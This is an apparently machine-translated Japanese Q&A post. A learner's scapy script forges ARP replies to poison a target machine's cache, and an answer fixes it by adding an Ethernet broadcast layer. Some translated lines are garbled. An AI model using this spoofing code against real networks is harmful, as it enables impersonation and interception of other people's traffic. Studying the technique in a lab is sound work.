2016-08-30 27 views
0

私はscapyのpython3バージョンを使用して学習目的で他のマシンで単純なarpキャッシュポイズニングを実行しようとしています。私が使用していたコードは以下の通りです:ArpパケットがPython 3を使用して送信されました。宛先に到達しないScapy

from scapy.all import * 

arp = ARP() 
arp.op = 2 
arp.psrc = '192.168.0.15' #computer I want to impersonate 
arp.pdst = '192.168.0.5' #computer I want to send arp packet too 
arp.hwsrc = 'ac:bc:32:c6:49:20' #my mac 
arp.hwdst = 'ac:bc:32:c6:12:90' #mac of computer I want to poison 

sendp(arp,iface = 'en0') 

私はこのプログラムを実行すると、私は次の出力を得る:

WARNING: Could not load module netifaces: No module named 'netifaces' 
. 
Sent 1 packets. 

私は、sudoでこのプログラムを実行していない、と私はEN0があると確信しています正しいインタフェース。しかし、ip = 192.168.0.5のコンピュータでtsharkを実行すると、送信したARPパケットは表示されません。誰かがパケットをターゲットマシンに届かなかった原因となったミスを教えてください。

答えて

0

私はあなたもEther層を定義する必要があると思います。 arp = ARP()arp = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP()に変更してみませんか? dstを:ff:ff:ff:ff:ffに設定すると、ブロードキャストはすべてのホストに送信されることを意味します。

関連する問題